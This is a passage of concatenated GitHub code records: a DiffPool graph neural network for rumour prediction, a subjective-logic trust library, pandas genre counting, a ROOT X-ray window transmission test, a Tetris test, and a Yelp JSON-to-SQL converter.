1):\n\t\t\tself.layers.append(GraphSageLayer(n_hidden, n_hidden, activation,\n\t\t\t\t\t\t\t\t\t\t\t dropout, aggregator_type))\n\t\t# output layer\n\t\tself.layers.append(GraphSageLayer(n_hidden, n_classes, None,\n\t\t\t\t\t\t\t\t\t\t dropout, aggregator_type))\n\n\tdef forward(self, g, features):\n\t\th = features\n\t\tfor layer in self.layers:\n\t\t\th = layer(g, h)\n\t\treturn h\nclass DiffPoolBatchedGraphLayer(nn.Module):\n\n\tdef __init__(self, input_dim, assign_dim, output_feat_dim,\n\t\t\t\t activation, dropout, aggregator_type, link_pred):\n\t\tsuper(DiffPoolBatchedGraphLayer, self).__init__()\n\t\tself.embedding_dim = input_dim\n\t\tself.assign_dim = assign_dim\n\t\tself.hidden_dim = output_feat_dim\n\t\tself.link_pred = link_pred\n\t\tself.feat_gc = GraphSageLayer(\n\t\t\tinput_dim,\n\t\t\toutput_feat_dim,\n\t\t\tactivation,\n\t\t\tdropout,\n\t\t\taggregator_type)\n\t\tself.pool_gc = GraphSageLayer(\n\t\t\tinput_dim,\n\t\t\tassign_dim,\n\t\t\tactivation,\n\t\t\tdropout,\n\t\t\taggregator_type)\n\n\tdef forward(self, g, h):\n\t\tfeat = self.feat_gc(g, h) # size = (sum_N, F_out), sum_N is num of nodes in this batch\n\t\tdevice = feat.device\n\t\t# assign_tensor = self.pool_gc(g,h) # size = (sum_N, N_a), N_a is num of nodes in pooled graph.\n\t\tassign_tensor = self.pool_gc(g, h)\n\t\tassign_tensor = torch.exp(F.log_softmax(assign_tensor, dim=1))\n\t\t# print(assign_tensor.shape)\n\t\tassign_tensor = torch.split(assign_tensor, g.batch_num_nodes().tolist())\n\t\tassign_tensor = torch.block_diag(*assign_tensor) # size = (sum_N, batch_size * N_a)\n\n\t\th = torch.matmul(torch.t(assign_tensor), feat)\n\t\tadj = g.adjacency_matrix(transpose=False, ctx=device)\n\t\tadj_new = torch.sparse.mm(adj, assign_tensor)\n\t\tadj_new = torch.mm(torch.t(assign_tensor), adj_new)\n\n\n\t\treturn adj_new, h, assign_tensor\n\nclass ClassificationOutputModule(MetaModule):\n def __init__(self, node_embedding_dim, num_classes):\n super(ClassificationOutputModule, self).__init__()\n self.linear = MetaLinear(node_embedding_dim, num_classes)\n \n def forward(self, inputs, params=None):\n x = self.linear(inputs, params=self.get_subdict(params, 'linear'))\n return x\nclass gClassificationOutputModule(MetaModule):\n def __init__(self, node_embedding_dim, num_classes):\n super(gClassificationOutputModule, self).__init__()\n self.linear1 = MetaLinear(node_embedding_dim, node_embedding_dim)\n self.linear2 = MetaLinear(node_embedding_dim, num_classes)\n \n def forward(self, inputs, params=None):\n x = self.linear1(inputs, params=self.get_subdict(params, 'linear'))\n x=F.relu(x)\n x = self.linear2(x, params=self.get_subdict(params, 'linear'))\n return x\nclass MetaOutputLayers(MetaModule):\n\tdef __init__(self, node_embedding_dim, nc_num_classes, gc_num_classes):\n\t\tsuper(MetaOutputLayers, self).__init__()\n\t\t\n\t\t### try nn.ModuleDict\n\t\tself.nc_0_output_layer = ClassificationOutputModule(node_embedding_dim, 1)\n\t\tself.nc_1_output_layer = ClassificationOutputModule(64, 1)\n\t\tself.cc_output_layer = ClassificationOutputModule(3, nc_num_classes)\n\t\tself.gc_0_output_layer = gClassificationOutputModule(2*node_embedding_dim, 1)\n\t\tself.gc_1_output_layer = gClassificationOutputModule(2*node_embedding_dim, 2)\n\t\tself.bc = ClassificationOutputModule(node_embedding_dim, nc_num_classes)\n\t\n\tdef forward(self, node_embs, inputs, task_selector, params):\n\t\tif task_selector == \"nc_0\":\n\t\t\tx = self.nc_0_output_layer(node_embs, params=self.get_subdict(params, 'nc_0_output_layer'))\n\t\telif task_selector == \"nc_1\":\n\t\t\tx = self.nc_1_output_layer(node_embs, params=self.get_subdict(params, 'nc_1_output_layer'))\n\t\telif task_selector == \"cc\":\n\t\t\tx = self.cc_output_layer(node_embs, params=self.get_subdict(params, 'cc_output_layer'))\n\t\telif task_selector == \"gc_0\":\n\t\t\tx = self.gc_0_output_layer(node_embs, \n\t\t\t\t\t\t\t\t\t params=self.get_subdict(params, 'gc_0_output_layer'))\n\t\telif task_selector == \"gc_1\":\n\t\t\tx = self.gc_1_output_layer(node_embs, \n\t\t\t\t\t\t\t\t\t params=self.get_subdict(params, 'gc_1_output_layer'))\n\t\telif task_selector == \"bc\":\n\t\t\tx = self.bc_output_layer(node_embs, \n\t\t\t\t\t\t\t\t\t params=self.get_subdict(params, 'bc_output_layer'))\n\t\telse:\n\t\t\tprint(\"Invalid task selector.\")\n\t\t\n\t\treturn x\nclass DiffPool(MetaModule):\n\t\"\"\"\n\tDiffPool Fuse\n\t\"\"\"\n\n\tdef __init__(self, input_dim, hidden_dim, embedding_dim,\n\t\t\t\t label_dim, activation, n_layers, dropout,\n\t\t\t\t n_pooling, linkpred, batch_size, aggregator_type,\n\t\t\t\t assign_dim, cat=False):\n\t\tsuper(DiffPool, self).__init__()\n\t\tself.fcc1 = nn.Linear(1, 4)\n\t\tself.fcc2_1 = nn.Linear(772, hidden_dim)\n\t\tself.fcc2_2 = nn.Linear(hidden_dim, hidden_dim)\n\t\tself.uemb1 = nn.Linear(hidden_dim,hidden_dim)\n\t\t\n\t\t# self.com_vul_fc = nn.Linear(3, 3)\n\t\tself.link_pred = linkpred\n\t\tself.concat = cat\n\t\tself.n_pooling = n_pooling\n\t\tself.batch_size = batch_size\n\t\tself.gc_before_pool = nn.ModuleList()\n\t\t# self.link_pred_loss = []\n\t\t# self.entropy_loss = []\n\n\t\t# list of GNN modules before the first diffpool operation\n\t\tself.diffpool_layers = nn.ModuleList()\n\t\tself.node_ = nn.ModuleList()\n\n\t\t# list of list of GNN modules, each list after one diffpool operation\n\t\tself.gc_after_pool = nn.ModuleList()\n\t\tself.assign_dim = assign_dim\n\t\tself.bn = True\n\t\tself.num_aggs = 1\n\t\tself.weights = torch.nn.Parameter(torch.ones(3).float())\n\t\t\n\n\t\tself.user_gc = GraphSageLayer(\n\t\t\t2*hidden_dim,\n\t\t\thidden_dim,\n\t\t\tactivation,\n\t\t\tdropout,\n\t\t\taggregator_type)\n\n\t\tassign_dims = []\n\t\tassign_dims.append(self.assign_dim)\n\t\tpool_embedding_dim = embedding_dim\n\t\tself.first_diffpool_layer = DiffPoolBatchedGraphLayer(\n\t\t\tpool_embedding_dim,\n\t\t\tself.assign_dim,\n\t\t\thidden_dim,\n\t\t\tactivation,\n\t\t\tdropout,\n\t\t\taggregator_type,\n\t\t\tself.link_pred)\n\t\tgc_after_per_pool = nn.ModuleList()\n\n\t\tgc_after_per_pool.append(BatchedGraphSAGE(hidden_dim, embedding_dim))\n\t\tself.gc_after_pool.append(gc_after_per_pool)\n\t\tself.output_layer = MetaOutputLayers(embedding_dim, 3, 4)\n\n\tdef gcn_forward(self, g, h, gc_layers, cat=False):\n\t\t\"\"\"\n\t\tReturn gc_layer embedding cat.\n\t\t\"\"\"\n\t\tblock_readout = []\n\t\tfor gc_layer in gc_layers[:-1]:\n\t\t\th = gc_layer(g, h)\n\t\t\tblock_readout.append(h)\n\t\th = gc_layers[-1](g, h)\n\t\tblock_readout.append(h)\n\t\tif cat:\n\t\t\tblock = torch.cat(block_readout, dim=1) # N x F, F = F1 + F2 + ...\n\t\telse:\n\t\t\tblock = h\n\t\treturn block\n\n\tdef gcn_forward_tensorized(self, h, adj, gc_layers, cat=False):\n\t\tblock_readout = []\n\t\tfor gc_layer in gc_layers:\n\t\t\th = gc_layer(h, adj)\n\t\t\tblock_readout.append(h)\n\t\tif cat:\n\t\t\tblock = torch.cat(block_readout, dim=2) # N x F, F = F1 + F2 + ...\n\t\telse:\n\t\t\tblock = h\n\t\treturn block\n\n\tdef forward(self, g, inputs, t, uemb, params=None):\n\n\t\tt = torch.reshape(t, (-1,1))\n\t\th_2 = self.fcc1(t)\n\t\th = torch.cat((h_2, inputs), 1)\n\t\t\n\t\t# h = h_2\n\t\tout_all = []\n\t\t\n\t\t# g_embedding = self.gcn_forward(g, h, self.gc_before_pool, self.concat)\n\t\tg_embedding = F.relu(self.fcc2_1(h))\n\t\tuemb = F.relu(self.fcc2_2(uemb))\n\n\n\t\tq = g_embedding\n\t\talpha = (q*uemb).sum(-1).reshape(-1,1)\n\t\talpha = torch.exp(F.log_softmax(alpha,-1))\n\t\tg_embedding = alpha*uemb\n\n\t\t\n\t\t# g_embedding = torch.cat((g_embedding, uemb), 1)\n\t\tg.ndata['h'] = g_embedding\n\t\tadj, h, s = self.first_diffpool_layer(g, g_embedding)\n\n\t\tnode_per_pool_graph = int(adj.size()[0] / len(g.batch_num_nodes()))\n\t\t\n\t\th, adj = batch2tensor(adj, h, node_per_pool_graph)\n\t\th = self.gcn_forward_tensorized(\n\t\t\th, adj, self.gc_after_pool[0], self.concat)\n\n\t\t# ypred = torch.exp(F.log_softmax(ypred,-1))\n\t\tcom_vul = torch.matmul(s, h.reshape(-1,h.shape[-1]))\n\t\tnode_rep = torch.cat((g_embedding,com_vul),1)\n\t\tnode_rep = self.user_gc(g, node_rep)\n\t\tfinal_h = self.output_layer(node_rep, inputs, 'nc_1', params=self.get_subdict(params, 'output_layer'))\n\n\t\treadout = torch.mean(h, dim=1)\n\t\t# final_readout = readout\n\t\twith g.local_scope():\n\t\t\tg.ndata['h'] = node_rep\n\t\t\thg = dgl.max_nodes(g, 'h')\n\t\tfinal_readout = torch.cat((readout,hg),1)\n\n\t\typred0 = self.output_layer(final_readout, inputs, 'gc_0', params=self.get_subdict(params, 'output_layer'))\n\t\typred1 = self.output_layer(final_readout, inputs, 'gc_1', params=self.get_subdict(params, 'output_layer'))\n\t\treturn ypred1, final_h, final_h, ypred0\n\n","repo_name":"jadeCurl/Predicting-Viral-Rumors-and-Vulnerable-Users","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":15990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5714177906","text":"import sys\nimport math\nimport string\nimport operator\nfrom optparse import OptionParser\nfrom functools import reduce\n\ndef load_data(filename):\n\t# This procedure loads relevant data into table T.\n\t# Table[i][1] denotes source of evidence\n\t# Table[i][2] denotes subject of evidence\n\t# Table[i][3] denotes (signed) amount of evidence. (positive amount means positive evidence and negative amount means negative evidence.)\n\tT = []\n\tseparator = \" \"\n\t\n\tfile = open(filename, \"r\")\n\tfile.readline()\n\t# Assumed is that data set consists of 5 entries each row, where first and last entries are irrelevant. \n\tfor line in file:\n\t\ttmp = line.split(separator)\n\t\tT.append( [int(i) for i in tmp[1:-1] ])\n\treturn T\n\ndef get_max(data):\n # print(data)\n return [max(i) for i in data]\n\ndef get_theta(data):\n\treturn max([data[i][2] for i in range(len(data))])\n\ndef get_evidence(data):\n\t# This procedure computes amount of positive and negative evidences only\n\tprint(\"get evidence...\")\n\ty = get_max([\n\t\t\t[data[i][j] for i in range(len(data))] \n\t\t\tfor j in range(2)\n\t])\n\tFlow = [[[0,0] for i in range(y[0]+1)] for j in range(y[1]+1)]\n\n\tfor row in data:\n\t\tval = row[-1]\n\t\tif val >= 0:\n\t\t\tFlow[row[0]][row[1]][0] += val\n\t\telse:\n\t\t\tFlow[row[0]][row[1]][1] += -1*val\n\t\n\tprint(\"finished\")\n\treturn Flow\n\ndef get_opinion(data, constant):\n\t# first extract evidences from dataset \n\tprint(\"get evidence...\")\n\t# y: the highest node id\n\ty = get_max([[data[i][j] for i in range(len(data))] for j in range(2)])\n\t# Flow: setup a matrix of opinions with no belief/disbelief, and uncertainty by the constant\n\tFlow = [[[0,0,constant] for i in range(y[0]+1)] for j in range(y[1]+1)]\n\n\tprint(\"y\", y)\n\t\n\tprint(\"flow\", Flow)\n\tfor row in data:\n\t\t# val = row[-1]\n\t\t(src, target, val) = row\n\t\tif val >= 0:\n\t\t\t# add positive evidence\n\t\t\tFlow[src][target][0] += val\n\t\telse:\n\t\t\t# add negative evidence\n\t\t\tFlow[src][target][1] += -1*val\n\t\n\tprint(\"flow\", Flow)\n\tprint(\"finished\")\n\n\t# Given evidence compute Evidence Based Opinions using uncertainty constant\n\t# NORMALISE everything\n\tprint(\"extract opinions...\")\t\n\tfor i in range(len(Flow)):\n\t\tfor j in range(len(Flow)):\n\t\t\tel = Flow[i][j]\n\t\t\tev_sum_el = el[0]+el[1]+el[2]\n\t\t\tFlow[i][j][0] = float(el[0])/ev_sum_el\n\t\t\tFlow[i][j][1] = float(el[1])/ev_sum_el\n\t\t\tFlow[i][j][2] = float(el[2])/ev_sum_el\n\tprint(\"finished\")\n\treturn Flow\n\t\t\ndef test_flow(flow):\n\t# Test for entries in flow, that have both positiev and negative evidence\n\tprint(\"test for both neg and pos evidence\")\n\tfor row in flow:\n\t\tfor el in row:\n\t\t\tif (el[0]!=0) and (el[1]!=0):\n\t\t\t\tprint(el)\n\tprint(\"test finished\")\n\ndef otimes(ox, oy):\n\t# compute SL opinion x otimes opinion y\n\treturn [ox[0]*oy[0], ox[0]*oy[1], ox[1]+ox[2]+ox[0]*oy[2]]\n\ndef oplus(ox, oy):\n\t# compute SL opinion x oplus opinion y\n\tdiv = ox[2]+oy[2]-ox[2]*oy[2]\n\treturn [\n\t\tx/div \n\t\tfor x in [\n\t\t\tox[2]*oy[0]+oy[2]*ox[0], \n\t\t\tox[2]*oy[1]+oy[2]*ox[1], \n\t\t\tox[2]*oy[2]\n\t\t]\n\t]\n\ndef scalartimes(scalar, ox):\n\t# comput scalar mul\n\tdiv = scalar*(ox[0]+ox[1])+ox[2]\n\treturn [x/div for x in [scalar*ox[0], scalar*ox[1], ox[2]]]\n\ndef boxtimes(ox, oy, func):\n\t#compute opinion x boxtimes opinion y given g(x) = func \n\tscalar = func(ox)\n\treturn scalartimes(scalar, oy)\n\ndef odot(ox, oy, theta, constant):\n\tscalar = (float(constant)/theta) * (ox[0]/ox[2])\n\treturn scalartimes(scalar, oy)\n\t\ndef matrixtimes(A, B, plus=operator.add, times=operator.mul):\n\t# compute A.B using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\treturn [\n\t\t[\n\t\t\treduce(plus, list(\n\t\t\t\tmap(times, \n\t\t\t\t\tA[i], [B[k][j] for k in range(len(B[0]))])\n\t\t\t\t)\n\t\t\t) for j in range(len(B))] for i in range(len(A))\n\t]\n\t\ndef matrixsquare(A, plus=operator.add, times=operator.mul):\n\t# compute A^2 using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\treturn [[reduce(plus, list(map(times, A[i], [A[j][k] for k in range(len(A))]))) for i in range(len(A))] for j in range(len(A))]\n\t\ndef matrixplus(A, B, plus=operator.add):\n\treturn [list(map(plus, A[i],B[i])) for i in range(len(A))]\n\ndef matrixgeo(A, pow, plus=operator.add, times=operator.mul):\n\t# compute A^pow using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\tR = A\n\tfor i in range(pow-1):\n\t\tR = matrixplus(A, matrixtimes(R,A, plus, times), plus)\n\treturn R\n\ndef matrixgeonew(A, pow, plus=operator.add, times=operator.mul):\n\t# compute A^pow using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\t# Set diagonal to zero.\n\tR = A\n\tfor i in range(pow-1):\n\t\tR = matrixplus(A, matrixtimes(R,A, plus, times), plus)\n\t\tfor j in range(len(R)):\n\t\t\tR[j][j] = [0.0, 0.0, 1.0]\n\treturn R\n\n\t\ndef matrixpow(A, pow, plus=operator.add, times=operator.mul):\n\t# compute A^pow using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\tR = A\n\tfor i in range(pow-1):\n\t\tR = matrixtimes(R,A, plus, times)\n\treturn R\n\ndef matrixpownew(A, pow, plus=operator.add, times=operator.mul):\n\t# compute A^pow using own functions for plus and mul\n\t# Default plus = +\n\t# Default mul = *\n\tR = A\n\tfor i in range(pow-1):\n\t\tR = matrixtimes(R,A, plus, times)\n\t\tfor j in range(len(R)):\n\t\t\tR[j][j] = [0.0, 0.0, 1.0]\n\treturn R\n\ndef func_belief(ox):\n\t# This function takes g(x) = x_b\n\treturn ox[0]\n\ndef func_belief_sqrt(ox):\n\t# This function takes g(x) = sqrt(x_b)\n\treturn math.sqrt(ox[0])\n\ndef distance(m1, m2):\n\tres = 0.0\n\tfor i in range(len(m1)):\n\t\tfor j in range(len(m1)):\n\t\t\tfor k in range(3):\n\t\t\t\tres += abs(m1[i][j][k] - m2[i][j][k])\n\treturn res\n\ndef matrixgeoconvtest(A, threshold, plus=operator.add, times=operator.mul):\n\t# Default plus = +\n\t# Default mul = *\n\t# Set diagonal to zero.\n\tprint(\"starting:\")\n\tprint(A)\n\t\n\tt = threshold + 1.0\n\tR = A\n\t# print(A)\n\tcount = 0\n\twhile (t > threshold and count < 100):\n\t\tcount = count + 1\n\t\tY = R\n\t\t# print(R[0][0:2])\n\t\tR = matrixplus(A, matrixtimes(R, A, plus, times), plus)\n\t\tfor j in range(len(R)):\n\t\t\tR[j][j] = [0.0, 0.0, 1.0]\n\t\tt = distance(Y , R)\n\treturn R, count, t\n\n\n\n# def roundopinion(ox, digits):\n# \trnd = lambda x: round(x*(10**digits))/(10**digits)\n# \treturn list(map(rnd, ox))\n\ndef extract_evidence(M, constant):\n\treturn [[[constant*(M[i][j][0]/M[i][j][2]), constant*(M[i][j][1]/M[i][j][2])] for j in range(len(M[i]))] for i in range(len(M))]\n\ndef write_to_file(M, openfile):\n\topenfile.write(\"{\")\n\tfor i in range(len(M)):\n\t\topenfile.write(\"{\")\n\t\tfor j in range(len(M[i])):\n\t\t\topenfile.write(\"{\")\n\t\t\tfor k in range(len(M[i][j])-1):\n\t\t\t\topenfile.write(str(M[i][j][k]))\n\t\t\t\topenfile.write(\",\")\n\t\t\topenfile.write(str(M[i][j][-1]))\n\t\t\topenfile.write(\"},\")\n\t\topenfile.write(\"},\\n\")\n\topenfile.write(\"}\")","repo_name":"liamzebedee/retrust","sub_path":"ebsl/original_impl/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":6556,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"71"} +{"seq_id":"23680693381","text":"# 开发时间:18/10/2022 上午11:58\r\nimport pandas as pd\r\nimport string\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\npd.set_option('display.max_rows',None)\r\npd.set_option('display.max_columns',None)\r\npd.set_option('max_colwidth',150)\r\nprint('='*100)\r\nfile_path = './IMDB-Movie-Data.csv'\r\ndf = pd.read_csv(file_path)\r\n# print(df.head())\r\n# print(df['Genre'])\r\n'''\r\n先筛选所有的电影类型\r\n建立一个全部是0的数组\r\n列名为分类名\r\n如果一条数据中的分类出现过,就将数组中的0变为1\r\n'''\r\n#第一步:提取所有电影的分类类型\r\n#提取所有电影的类型,按照','分离开,并转换成列表\r\nMovie_Genre = df['Genre'].str.split(',').tolist()\r\n# print(Movie_Genre)\r\n#双循环提取处单独的列表中单独分类名称\r\nMovie_Genre_list = [i for j in Movie_Genre for i in j]\r\n#将电影分类列表中进行去重操作\r\nGenre_list = list(set(Movie_Genre_list))\r\n#最终得到不重复的所有电影分类的类型\r\n# print(Movie_Genre_list_set)\r\n\r\n#建立一个全部为0的数组,行索引为电影的编号,列索引为所有电影的分类\r\n#电影具有的分类,所在分类的列数据就会变为1\r\nZreos_list = pd.DataFrame(np.zeros((df.shape[0],len(Genre_list))),columns=Genre_list)\r\nprint(Zreos_list)\r\n\r\n# print(Movie_Genre_res_temp)\r\nfor i in range(df.shape[0]):\r\n Zreos_list.loc[i,Movie_Genre[i]] = 1\r\n #Zeros_list.loc[0,'Sci——Fi,Actoin']\r\n #在全是0的数组中遍历,对应行数只有相应的分类列\r\n\r\nZreos_list = Zreos_list.astype('i8')\r\n# print(Zreos_list.head())\r\n#统计每种电影分类的数量\r\nZero_count = Zreos_list.sum(axis=0)\r\n\r\n#排序\r\nGenre_Total = Zero_count.sort_values()\r\n# print(Genre_Total)\r\n# print(type(Genre_Total))\r\n# _x = Genre_Total.index\r\n# _y = Genre_Total.values\r\n# #画图\r\n# plt.figure(figsize=(20,8),dpi=80)\r\n# plt.bar(range(len(_x)),_y)\r\n# plt.xticks(range(len(_x)),_x)\r\n# plt.show()","repo_name":"reLuna001/studyrepo","sub_path":"Pandas数据分析/d12电影分类情况.py","file_name":"d12电影分类情况.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"31463401290","text":"#!/usr/bin/python3\n\nimport ROOT, math\n\noutfname = \"windowsTransmission.png\"\npatternType = \"strongBack\"\n\nfrom ROOT import (\n TChain,\n TFile,\n TTree,\n TCanvas,\n TPad,\n TRandom3,\n TH1D,\n TH2D,\n TH3D,\n TProfile,\n TProfile2D,\n TProfile3D,\n TGraph,\n TGraph2D,\n TF1,\n TF2,\n TF3,\n TFormula,\n TLorentzVector,\n TVector3,\n)\n\nROOT.gSystem.Load(\"libRestFramework.so\")\nROOT.gSystem.Load(\"libRestAxion.so\")\n\n### Creating a canvas and pad for drawing\nc1 = TCanvas(\"c1\", \"My canvas\", 1200, 400)\nc1.GetFrame().SetBorderSize(6)\nc1.GetFrame().SetBorderMode(-1)\n\npad1 = TPad(\"pad1\", \"This is pad1\", 0.01, 0.02, 0.99, 0.97)\npad1.Divide(3, 1)\npad1.Draw()\n\ntotalSamples = 100000\n\nprint(\"Loading cathode\")\ncathode = ROOT.TRestAxionXrayWindow(\"windows.rml\", \"cathode\")\nprint(\"Loading strongBack\")\nstrongBack = ROOT.TRestAxionXrayWindow(\"windows.rml\", patternType)\nprint(\"Loading silicon foil\")\nsiFoil = ROOT.TRestAxionXrayWindow(\"windows.rml\", \"siliconFoil\")\n\nradius = strongBack.GetWindowRadius()\nprint(\"\\nGetting window radius\")\nif radius != 8:\n print(\"\\nThe window radius is not as expected! Exit code : 102\")\n exit(102)\nprint(\"[\\033[92m OK \\x1b[0m]\")\n\n# L: Low energy (0-5)keV M: Medium energy H: High energy\nhistL = ROOT.TH2D(\n \"Low\", \"Low energy\", 80, -radius - 2, radius + 2, 80, -radius - 2, radius + 2\n)\nhistM = ROOT.TH2D(\n \"Medium\", \"Medium energy\", 80, -radius - 2, radius + 2, 80, -radius - 2, radius + 2\n)\nhistH = ROOT.TH2D(\n \"High\", \"High energy\", 80, -radius - 2, radius + 2, 80, -radius - 2, radius + 2\n)\n\n# for n in range(rings):\n# gr = ROOT.TGraph()\n# gr.SetMarkerStyle(20)\n# gr.SetMarkerSize(0.5)\n# gr.SetMarkerColor(38+n)\n# gr.SetTitle(\"Optics plane (no-Spider)\")\n# gr.GetXaxis().SetTitle(\"X [mm]\")\n# gr.GetXaxis().SetTitleSize(0.05);\n# gr.GetXaxis().SetLabelSize(0.05);\n# gr.GetYaxis().SetTitle(\"Y [mm]\")\n# gr.GetYaxis().SetTitleOffset(1)\n# gr.GetYaxis().SetTitleSize(0.05);\n# gr.GetYaxis().SetLabelSize(0.05);\n# graphsOP.append(gr)\n\n\nrnd = TRandom3(0)\nfor n in range(totalSamples):\n x = (radius + 2) * (rnd.Rndm() - 0.5) * 2\n y = (radius + 2) * (rnd.Rndm() - 0.5) * 2\n en = 0.01 + 14.9 * rnd.Rndm()\n\n cth = cathode.GetTransmission(en, x, y)\n stb = strongBack.GetTransmission(en, x, y)\n sil = siFoil.GetTransmission(en, x, y)\n\n if stb == 0:\n continue\n # print (\"x: \" + str(x) + \" y: \" + str(y) + \" en: \" + str(en) )\n # print (\"cathode: \" + str(cth) + \" sBack: \" + str(stb) + \" siFoil: \" + str(sil) )\n tr = cth * stb * sil\n\n if en < 5:\n histL.Fill(x, y, tr)\n elif en < 10:\n histM.Fill(x, y, tr)\n else:\n histH.Fill(x, y, tr)\n\n## This is to work out a graph with the MC obtained efficiencies (TODO)\ngrCathode = ROOT.TGraph()\ngrCathode.SetMarkerStyle(20)\ngrCathode.SetMarkerSize(1.5)\ngrCathode.SetMarkerColor(38)\ngrCathode.SetTitle(\"Aluminum cathode 20nm\")\ngrCathode.GetXaxis().SetTitle(\"Energy [keV]\")\ngrCathode.GetXaxis().SetTitleSize(0.05)\ngrCathode.GetXaxis().SetLabelSize(0.05)\ngrCathode.GetYaxis().SetTitle(\" \")\ngrCathode.GetYaxis().SetTitleOffset(1)\ngrCathode.GetYaxis().SetTitleSize(0.05)\ngrCathode.GetYaxis().SetLabelSize(0.05)\n\ngrSBack = ROOT.TGraph()\ngrSBack.SetMarkerStyle(20)\ngrSBack.SetMarkerSize(1.5)\ngrSBack.SetMarkerColor(39)\ngrSBack.SetTitle(\"Silicon strong-back 200um\")\ngrSBack.GetXaxis().SetTitle(\"Energy [keV]\")\ngrSBack.GetXaxis().SetTitleSize(0.05)\ngrSBack.GetXaxis().SetLabelSize(0.05)\ngrSBack.GetYaxis().SetTitle(\" \")\ngrSBack.GetYaxis().SetTitleOffset(1)\ngrSBack.GetYaxis().SetTitleSize(0.05)\ngrSBack.GetYaxis().SetLabelSize(0.05)\n\ngrSiFoil = ROOT.TGraph()\ngrSiFoil.SetMarkerStyle(20)\ngrSiFoil.SetMarkerSize(1.5)\ngrSiFoil.SetMarkerColor(40)\ngrSiFoil.SetTitle(\"Silicon foil 500nm\")\ngrSiFoil.GetXaxis().SetTitle(\"Energy [keV]\")\ngrSiFoil.GetXaxis().SetTitleSize(0.05)\ngrSiFoil.GetXaxis().SetLabelSize(0.05)\ngrSiFoil.GetYaxis().SetTitle(\" \")\ngrSiFoil.GetYaxis().SetTitleOffset(1)\ngrSiFoil.GetYaxis().SetTitleSize(0.05)\ngrSiFoil.GetYaxis().SetLabelSize(0.05)\n\npad1.cd(1)\nhistL.SetStats(0)\nhistL.Draw(\"colz\")\n\npad1.cd(2)\nhistM.SetStats(0)\nhistM.Draw(\"colz\")\n\npad1.cd(3)\nhistH.SetStats(0)\nhistH.Draw(\"colz\")\n\nc1.Print(outfname)\n\nprint(\"Low: \" + str(histL.Integral()))\nprint(\"Mid: \" + str(histM.Integral()))\nprint(\"High: \" + str(histH.Integral()))\nif histL.Integral() < 10000:\n print(\"Effective counts at low energy below 10000!!\")\n print(\"Low: \" + str(histL.Integral()))\n exit(103)\n\nif histM.Integral() < 12000:\n print(\"Effective counts at low energy below 12000!!\")\n print(\"Mid: \" + str(histM.Integral()))\n exit(104)\n\nif histH.Integral() < 14000:\n print(\"Effective counts at low energy below 14000!!\")\n print(\"High: \" + str(histH.Integral()))\n exit(105)\n\n\nprint(\"All tests passed! [\\033[92m OK \\x1b[0m]\")\n\nprint(\"\")\n\nexit(0)\n","repo_name":"rest-for-physics/axionlib","sub_path":"pipeline/metadata/transmission/windowPlot.py","file_name":"windowPlot.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"1601291557","text":"from tetris import Tetris\nimport random\nimport cv2\n\nenv = Tetris(width=10,height=20,block_size=30)\nstate = env.reset()\nprint(state)\nfor i in range(10):\n next_steps = env.get_next_states()\n next_actions, next_states = zip(*next_steps.items())\n idx = random.randrange(0, len(next_steps))\n if isinstance(next_states[idx],list):\n [print(item) for item in next_states[idx]]\n else:\n print(next_states[idx])\n reward, done = env.step(next_actions[idx], render=True)\n cv2.waitKey(0)","repo_name":"lkwq007/ierg5350-project","sub_path":"dqn/test_env.py","file_name":"test_env.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"36474416674","text":"__author__ = 'erhanhu'\nimport json\n\nJSON_FILE_INPUT = 'business.json'\nSQL_SCRIPT_OUTPUT = 'business.sql'\nTABLE_NAME = 'BUSINESS'\n\n\n# useful when getting street address\n# from full_address\ndef del_last_line(s):\n return s[:s.rfind('\\n')]\n\n\n# zipcode appears as the last segment\n# of full_address\ndef get_zip(s):\n return s[s.rfind(' ')+1:]\n\n\n# removes any quotes and special characters\n# but retains spaces and newlines\ndef del_special_char(s):\n return ''.join(c for c in s if c.isalnum() or c == ' ' or c == '\\n')\n\n\nfi = open(JSON_FILE_INPUT, 'r')\nfo = open(SQL_SCRIPT_OUTPUT, 'w')\nline = fi.readline()\nwhile line:\n j = json.loads(line)\n if j.get('open'):\n b_id = j.get('business_id')\n name = del_special_char(j.get('name'))\n full_addr = del_special_char(j.get('full_address'))\n street_addr = del_special_char(del_last_line(full_addr)).replace('\\n', ' ') # makes address into a single line\n city = del_special_char(j.get('city'))\n state = del_special_char(j.get('state'))\n zipcode = get_zip(full_addr)\n lat = j.get('latitude')\n long = j.get('longitude')\n stars = j.get('stars')\n stmt = \"INSERT INTO \" + TABLE_NAME\n stmt += \" (id, name, street_address, city, state, zipcode, latitude, longitude, stars) \"\n stmt += \"VALUES \"\n stmt += (\"('{0}','{1}','{2}','{3}','{4}','{5}',{6},{7}, {8});\\n\").format(b_id, name, street_addr, city, state, zipcode, lat, long, stars)\n fo.write(stmt)\n line = fi.readline()\n","repo_name":"jialihan/yelp_search_project","sub_path":"Milestone 3/generate_sql_business.py","file_name":"generate_sql_business.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"6394352476","text":"from genericpath import isfile\nfrom os import path, getenv, stat, listdir\n\n\nBEAMNG_USER_DIR_NAME = 'BeamNG.drive'\nBEAMNG_USER_MOD_DIR_NAME = 'mods'\n\ndef get_latest_ver():\n beam_ng_dir = path.join(getenv('LOCALAPPDATA'), BEAMNG_USER_DIR_NAME)\n if not path.isdir(beam_ng_dir):\n raise Exception(f'Could not find BeamNG.Drive directory at: {beam_ng_dir}')\n 